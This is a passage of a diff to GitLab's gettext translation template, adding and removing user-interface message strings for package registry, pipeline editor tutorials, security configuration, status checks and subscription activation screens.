+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
